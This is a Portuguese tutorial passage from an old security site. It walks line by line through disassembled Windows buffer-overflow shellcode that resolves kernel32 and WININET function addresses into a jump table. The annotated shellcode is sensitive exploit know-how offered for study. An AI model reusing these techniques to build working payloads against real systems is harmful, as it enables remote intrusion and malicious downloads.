Segurança
Buffer overflow no Windows
|
Sab 5 Nov 2005 23:55 |
- Detalhes
- Categoria: Windows, o queijo suíço
- Atualização: Terça, 14 Abril 2009 20:29
- Autor: vovó Vicki
- Acessos: 9164
0000017C: 51 push ecx
0000017D: 53 push ebx
0000017E: 56 push esi
0000017F: FF157810606A call d,[06A601078]
00000185: AB stosd
00000186: 59 pop ecx
Isto pega os endereços dos procedimentos das nossas funções e os coloca na tabela apontada por EDI.
00000187: E2EA loop 000000173 ---------- (2)
Loop para todos os procedimentos do kernel.
Agora que acabamos com o kernel, precisamos repetir tudo para os procedimentos da WININET.
00000189: 43 inc ebx
0000018A: 32C0 xor al,al
0000018C: D7 xlat
0000018D: 84C0 test al,al
0000018F: 75F8 jne 000000189 ---------- (2)
00000191: 43 inc ebx
Este código só existe para mover EBX para além do nome da última função do kernel e para a string "WININET" da tabela de strings decodificada.
00000192: 53 push ebx
00000193: 53 push ebx
00000194: FF157C10606A call d,[06A60107C]
0000019A: 8BF0 mov esi,eax
0000019C: 90 nop
0000019D: 90 nop
0000019E: 90 nop
0000019F: 90 nop
É isso mesmo, os NOPs e os PUSH duplos são lixo de debugação. Se quiser, pode anulá-los com NOP. Este código pega os manipuladores dos módulos (endereço base) da WININET.DLL. Ele os guarda em ESI.
000001A0: 33C9 xor ecx,ecx
000001A2: 83E9FC sub ecx,-004
000001A5: 43 inc ebx
000001A6: 32C0 xor al,al
000001A8: D7 xlat
000001A9: 84C0 test al,al
000001AB: 75F8 jne 0000001A5
000001AD: 43 inc ebx
000001AE: 51 push ecx
000001AF: 53 push ebx
000001B0: 56 push esi
000001B1: FF157810606A call d,[06A601078]
000001B7: AB stosd
000001B8: 59 pop ecx
000001B9: E2EA loop 0000001A5
Este código é apenas uma cópia do usado para obter os endereços das funções do kernel, só que, desta vez, está pegando os endereçõs das 4 funções da WININET. Por isto, não há necessidade de explicar tudo novamente. Muito bem, a tabela de saltos está pronta. EDI aponta para o dword depois do fim da tabela de saltos de modo que agora podemos referenciar os procedimentos indiretamente através de EDI (call dword ptr [edi-16]). É como se fosse uma tabela de importação, porém muito mais divertido!


